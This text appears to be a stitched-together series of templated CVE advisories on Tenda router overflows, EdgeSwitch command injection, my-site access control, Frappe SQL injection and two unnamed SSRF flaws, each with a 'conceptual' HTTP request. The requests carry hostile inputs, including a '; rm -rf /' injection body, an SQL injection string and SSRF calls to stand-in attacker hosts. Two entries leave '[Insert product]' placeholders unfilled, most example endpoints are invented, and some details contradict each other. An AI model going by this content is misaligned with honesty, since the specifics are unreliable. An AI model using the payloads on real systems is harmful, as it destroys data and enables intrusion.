Author: Ameeba

Overview

The identified vulnerability, CVE-2025-55564, is a security risk that impacts Tenda AC15 v15.03.05.19_multi_TD01. This report highlights the severity and potential risks associated with the vulnerability, which could potentially lead to system compromise or sensitive data leakage. As a stack overflow vulnerability, it poses a significant threat to organizations using the affected versions of Tenda AC15, potentially granting unauthorized access and control to attackers.

Vulnerability Summary

CVE ID: CVE-2025-55564
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda AC15 | v15.03.05.19_multi_TD01

How the Exploit Works

The exploit works by an attacker sending a specially crafted request with an oversized “list” parameter to the “fromSetIpMacBind” function. The function fails to properly validate the length of the input, leading to a stack overflow. This overflow could potentially corrupt the system’s memory, allowing the attacker to execute arbitrary code or disrupt the system’s normal operations.

Conceptual Example Code

Here’s a conceptual example that demonstrates how the vulnerability might be exploited:

POST /fromSetIpMacBind HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
list=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

In this example, the “list” parameter contains an excessively long string of “A” characters, which could potentially trigger the stack overflow.

Mitigation

Users of the affected Tenda AC15 v15.03.05.19_multi_TD01 are advised to apply the patch provided by the vendor as soon as possible. If the patch cannot be applied immediately, utilizing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be considered as a temporary mitigation measure.

Overview

The CVE-2025-48978 pertains to a critical vulnerability in the EdgeMAX EdgeSwitch (Version 1.11.0 and earlier). This vulnerability exposes the system to potential command injection by malicious actors with access to the EdgeSwitch adjacent network, potentially leading to system compromise or data leakage. Given the severity and potential impact, it is crucial that all users of the affected versions take immediate steps to mitigate the risk.

Vulnerability Summary

CVE ID: CVE-2025-48978
Severity: High, CVSS Score: 7.5
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

EdgeMAX EdgeSwitch | Version 1.11.0 and earlier

How the Exploit Works

The vulnerability stems from improper input validation in EdgeMAX EdgeSwitch. It allows an attacker who has access to the EdgeSwitch adjacent network to inject malicious commands. These commands could be executed with system-level privileges, potentially leading to unauthorized access, data leakage, or even full system compromise.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. It represents a command injection via a malicious payload:

POST /EdgeMAX/EdgeSwitch HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "command": "; rm -rf /" }

Mitigation

To mitigate this vulnerability, users are advised to update the EdgeMAX EdgeSwitch to Version 1.11.1 or later. As a temporary solution, use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help detect and prevent attempts to exploit this vulnerability. However, these measures should not replace the need for timely patching.

Overview

The CVE-2024-57152 vulnerability indicates an incorrect access control issue in my-site v1.0.2. This vulnerability allows unauthenticated attackers to access sensitive components of the system. It is a crucial cybersecurity concern as it could potentially lead to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2024-57152
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized disclosure of information, unauthorized modification, and unauthorized disruption of service

Affected Products

Product | Affected Versions

my-site | v1.0.2

How the Exploit Works

The vulnerability exists in the preHandle function of the my-site v1.0.2 platform due to incorrect access control. It specifically stems from the cn.luischen.interceptor.BaseInterceptor class. Attackers can exploit this vulnerability by sending a specifically crafted request to the system, thereby gaining unauthorized access to sensitive components without the need for authentication.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This could be a sample HTTP request:

GET /sensitive/data HTTP/1.1
Host: my-site.com
User-Agent: any
Accept: */*

In this instance, a simple GET request could potentially grant the attacker access to sensitive data.

Mitigation and Countermeasures

To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it is available. Until then, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) could serve as temporary mitigation methods. These tools can help to monitor network traffic and block potentially harmful requests, thereby preventing exploitation of this vulnerability.

Overview

The vulnerability designated as CVE-2024-53495 is a critical security issue that affects the my-site v1.0.2.RELEASE. This vulnerability allows attackers to bypass authentication and access sensitive components of the system. Given its severity, it poses serious risks to the integrity, confidentiality, and availability of user data, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2024-53495
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

my-site | v1.0.2.RELEASE

How the Exploit Works

The exploit takes advantage of incorrect access control in the preHandle function of my-site v1.0.2.RELEASE. This flaw allows an unauthenticated attacker to send a specially crafted request to a vulnerable server, thereby gaining unauthorized access to sensitive components of the application.

Conceptual Example Code

Below is a
conceptual
example of how the vulnerability might be exploited. This example assumes that the attacker already knows the vulnerable endpoint:

GET /sensitive/component HTTP/1.1
Host: vulnerable-site.com

In this example, the attacker is able to access sensitive components without needing to provide any form of authentication.

Prevention and Mitigation

To mitigate this vulnerability, users are advised to apply the vendor’s patch once it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation to detect and block attempts to exploit this vulnerability. Regularly monitoring system logs for any suspicious activity is also recommended.

Overview

The vulnerability, identified as CVE-2025-55732, is a severe SQL Injection flaw that affects certain versions of the Frappe web application framework. The vulnerability allows attackers to bypass the initial patch released for CVE-2025-52895, presenting a significant security risk as it could lead to system compromise and data leakage. Therefore, it is of paramount importance for users and administrators of affected systems to apply the necessary patches or mitigation strategies immediately.

Vulnerability Summary

CVE ID: CVE-2025-55732
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Frappe | < 15.74.2 Frappe | < 14.96.15 How the Exploit Works

The exploit takes advantage of a weakness in the Frappe web application framework’s input validation protocols. The attacker crafts a specific SQL payload that bypasses the patch released for CVE-2025-52895 and injects it into the system via a request. This injection then manipulates the underlying SQL database, allowing the attacker to access, modify or even delete sensitive data.

Conceptual Example Code

Here is a conceptual example of an HTTP request that could potentially exploit the vulnerability:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "' OR '1'='1'; --" }

In this example, the malicious payload uses SQL syntax to manipulate the system into returning true for all queries, potentially compromising the integrity of the data and system.

Overview

We’re addressing a cybersecurity vulnerability identified as CVE-2025-55498, affecting Tenda AC6 devices running version V15.03.06.23_multi. This vulnerability is a buffer overflow that can be triggered via the time parameter within the fromSetSysTime function. It is a critical issue as it could potentially lead to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-55498
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda AC6 | V15.03.06.23_multi

How the Exploit Works

The vulnerability is due to improper handling of the time parameter in the fromSetSysTime function. This results in a buffer overflow condition. An attacker can exploit this flaw by sending specially crafted requests containing a payload that exceeds the expected buffer size. This could lead to unexpected behavior such as crashes, code execution, or information disclosure, potentially compromising the system or leading to data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited using a malicious HTTP request:

POST /fromSetSysTime HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"time": "long_string_exceeding_buffer_capacity..."
}

In this example, the “time” value is filled with a string that exceeds the expected buffer size, triggering the buffer overflow vulnerability.

Recommended Mitigation

The vendor has released a patch to address this vulnerability. Users are advised to update their Tenda AC6 devices to the latest firmware version. In the absence of a vendor patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against potential exploitation.

Overview

The vulnerability CVE-2025-55482 is a buffer overflow issue that exists in the formSetCfm function of the Tenda AC6 V15.03.06.23_multi software. This critical vulnerability could allow potential system compromise or data leakage, making it a significant security concern for users and organizations that use the affected product.

Vulnerability Summary

CVE ID: CVE-2025-55482
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda AC6 Router | V15.03.06.23_multi

How the Exploit Works

An attacker can exploit this vulnerability by sending specially crafted input to the formSetCfm function of the Tenda AC6 V15.03.06.23_multi software. Due to a lack of proper input validation, this input can cause a buffer overflow, which can allow the attacker to execute arbitrary code or possibly cause the application to crash, leading to a denial of service.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability:

POST /formSetCfm HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
data=OVERFLOW_DATA

In this example, `OVERFLOW_DATA` contains the malicious payload that triggers the buffer overflow when processed by the formSetCfm function.

Mitigation

Users and organizations are advised to apply the patch provided by the vendor as soon as possible. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. These systems can help detect and block attempts to exploit this vulnerability.

Overview

This report covers the critical vulnerability CVE-2025-55483 that affects Tenda AC6 V15.03.06.23_multi. This vulnerability is a buffer overflow error occurring in the function formSetMacFilterCfg via the parameters macFilterType and deviceList. Due to the severity of the vulnerability, it has the potential to compromise systems or result in significant data leakage.

Vulnerability Summary

CVE ID: CVE-2025-55483
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential System Compromise, Data Leakage

Affected Products

Product | Affected Versions

Tenda AC6 | V15.03.06.23_multi

How the Exploit Works

The vulnerability is based upon a buffer overflow error. The software does not adequately validate input given in the macFilterType and deviceList parameters. If an attacker sends an unusually large amount of data to these parameters, they can overflow the buffer, causing the system to crash or, in some cases, allowing the attacker to execute arbitrary code or gain unauthorized access.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited in a HTTP POST request:

POST /formSetMacFilterCfg HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"macFilterType": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...",
"deviceList": "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB..."
}

In this example, “A” and “B” represent an overflow of data that exceeds the buffer’s capacity. The attacker floods the parameters with excessive data, causing the system to crash or potentially allowing the execution of arbitrary code.

Overview

CVE-2025-54925 is a critical vulnerability that affects applications susceptible to Server-Side Request Forgery (SSRF) attacks. The vulnerability can lead an attacker to gain unauthorized access to sensitive data if the application is manipulated to access a malicious URL. It’s a high-impact threat to data integrity and confidentiality and demands immediate attention and remediation.

Vulnerability Summary

CVE ID: CVE-2025-54925
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and unauthorized data leakage

Affected Products

Product | Affected Versions

[Insert product] | [Insert affected version]
[Insert product] | [Insert affected version]

How the Exploit Works

The exploit takes advantage of the Server-Side Request Forgery (SSRF) vulnerability in the application. An attacker manipulates the application to make it send a malicious request to an internal resource. The application, unaware of the malicious intent, fulfills the request, which could lead to unauthorized access to sensitive data, system compromise, or even execute functions the application has authorization for.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited, by sending a malicious HTTP request:

GET /app_endpoint?redirectUrl=http://malicious.example.com HTTP/1.1
Host: vulnerableapp.example.com
Accept: */*
User-Agent: Mozilla/5.0

In this example, the attacker manipulates the `redirectUrl` parameter to point to a malicious URL, `http://malicious.example.com`. The application, believing this to be a legitimate request, processes it and could potentially expose sensitive data to the malicious URL.

Overview

In the constantly evolving landscape of cybersecurity, a newly identified vulnerability, CVE-2025-54924, poses a significant risk to data privacy and system security. This Server-Side Request Forgery (SSRF) vulnerability can potentially lead to unauthorized access to sensitive data if an attacker sends a specially crafted document to a vulnerable endpoint. Affected systems are at risk of data leakage and potential system compromise, with the severity of this vulnerability underscored by a CVSS score of 7.5.

Vulnerability Summary

CVE ID: CVE-2025-54924
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access to sensitive data, potential system compromise

Affected Products

Product | Affected Versions

[Insert product] | [Insert affected version]
[Insert product] | [Insert affected version]

How the Exploit Works

The exploit works by an attacker crafting a document containing malicious code and sending it to a vulnerable endpoint of a system. The vulnerability lies within the server-side processing of a request, where an SSRF vulnerability allows the attacker to induce the server to make HTTP requests to an arbitrary domain of the attacker’s choosing. This can lead to the attacker gaining unauthorized access to sensitive data, potentially leading to system compromise.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"url": "http://attacker-controlled-domain.com/malicious_document.pdf"
}

In the above example, the attacker sends a POST request to the vulnerable endpoint with a JSON payload that includes a URL to a malicious document hosted on an attacker-controlled domain.

Mitigation Guidance

As a countermeasure to this vulnerability, it is recommended to apply vendor-provided patches, if available. In the absence of a patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. Regularly updating and patching systems, as well as monitoring network traffic for any suspicious activity, can help defend against such vulnerabilities.